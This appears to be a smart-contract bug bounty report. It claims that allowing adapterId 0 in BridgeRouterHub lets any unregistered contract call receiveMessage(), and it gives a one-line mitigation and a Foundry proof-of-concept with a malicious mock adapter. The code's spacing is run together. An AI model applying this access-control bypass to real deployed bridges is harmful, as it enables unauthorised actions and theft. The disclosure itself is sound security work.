Contract fails to mitigate a potential Critical situation where anyone will be able to call BridgeRouterHub::receiveMessage() "directly".
Description
Brief/Intro
The BridgeRouter.sol file is the base contract for BridgeRouterHub.sol and BridgerouterSpoke.sol. BridgeRouterHub contains sensitive functions hence its function calls are restricted. Eg: only pre-inputed IBridgeAdapter contracts / interfaces (by the MANAGER_ROLE via addAdapter function)would be able to call BridgeRouterHub::receiveMessage(). This is the protocols intended security architecture. However, a potential issue can arise where anyone (any malicious Smart contract) will be able to call this sensitive funcion BridgeRouterHub::receiveMessage() which is a gateway for many other senitive executions. The smatr contrat is meant to mitigate itself from possibly reaching this state. Unfortunately it doesnt.
Impact Details
A really wide range of impacts.
Note
This vulnerbility is not categorized as critical due to protocol MANAGER_ROLE error required to achieve critical impact.
That pointed out, its still a huge error for Smart contract to potentially allow this. Hence a High
Note that the range of potential attacks to be carrired out via this one bug is numerous as atttacker can take any of the actions define in the enum Action.
Mitigation
+ error adapterIndexMustNotBeZero(); function addAdapter(uint16 adapterId, IBridgeAdapter adapter) external onlyRole(MANAGER_ROLE) {+ if(adapterId == uint16(0)) revert adapterIndexMustNotBeZero(); //@audit The index for `adapterId` must start from 1 not 0.
// check if no existing adapter if (isAdapterInitialized(adapterId)) revert AdapterInitialized(adapterId); // add adapter idToAdapter[adapterId] = adapter; adapterToId[adapter] = adapterId; }
References
Add any relevant links to documentation or code
Proof of concept
Proof of Concept
POC illustration (An overly simplified version of the BridgeRouter used for foundry testing)
// SPDX-License-Identifier: UNLICENSEDpragmasolidity ^0.8.13;import {Test, console} from"forge-std/Test.sol";import { IBridgeAdapter,Counter, Messages} from"../src/Counter.sol";// a MockBridgeAdaptercontract MockBridgeAdapter {functioncat(Messages.MessageReceivedmemory payload) external { }}contractMockMaliciousBridgeAdapterisIBridgeAdapter { Counter target;constructor(address_target) { target =Counter(_target); }functioncat(Messages.MessageReceivedmemory payload) external {// calls contract with malicious payload target.receiveMessage(payload); }}contractCounterTestisTest { Counter public counter;address admin =makeAddr("admin");//address manager = makeAddr('manager');functionsetUp() public {//vm.startPrank(admin); counter =newCounter(admin);// counter.grantRole(counter.MANAGER_ROLE(),manager); // Already set }// anyOne would be able to call `function receiveMessage()`functiontestContractVulnerableDueToAdapterIdZeroIllustration() public { vm.startPrank(admin);// adds 5 instances of adapter (For instance)for(uint i; i <5; i++){ //change i =1 to break test hence 0 not instantiated IBridgeAdapter adapter =IBridgeAdapter(address(newMockBridgeAdapter())); counter.addAdapter(uint16(i),adapter); console.log('addapterInstances',address(adapter)); }assertTrue(counter.isAdapterInitialized(0)); IBridgeAdapter addapterInstance = counter.getAdapter(0); vm.stopPrank();//======illustrating any contract can call RouterHub::receiveMessage()//instantiating arbitrary malicious contract MockMaliciousBridgeAdapter maliciouscontract =newMockMaliciousBridgeAdapter(address(counter));//wraps contract with interface IBridgeAdapter wrappedMaliciouscontract =IBridgeAdapter(address(maliciouscontract));//assert not included by `MANAGER_ROLE` via `addAdapter()`assertEq(0, counter.adapterToId(wrappedMaliciouscontract)); Messages.MessageReceived memory arbitraryNum; // not set just illustrating vm.expectEmit();//Emmiting this shows contract was successfully called by malicious contract (not added via `addAdapter()`)// @audit Criticalemit Counter.successfullyBypassedAllrevertChecksAbove(); maliciouscontract.cat(arbitraryNum); console.log('wrappedMaliciouscontract',address(wrappedMaliciouscontract)); }/** =========Signatures function isAdapterInitialized(uint16 adapterId) public view returns (bool) function getAdapter(uint16 adapterId) public view returns (IBridgeAdapter) function addAdapter(uint16 adapterId, IBridgeAdapter adapter) external */}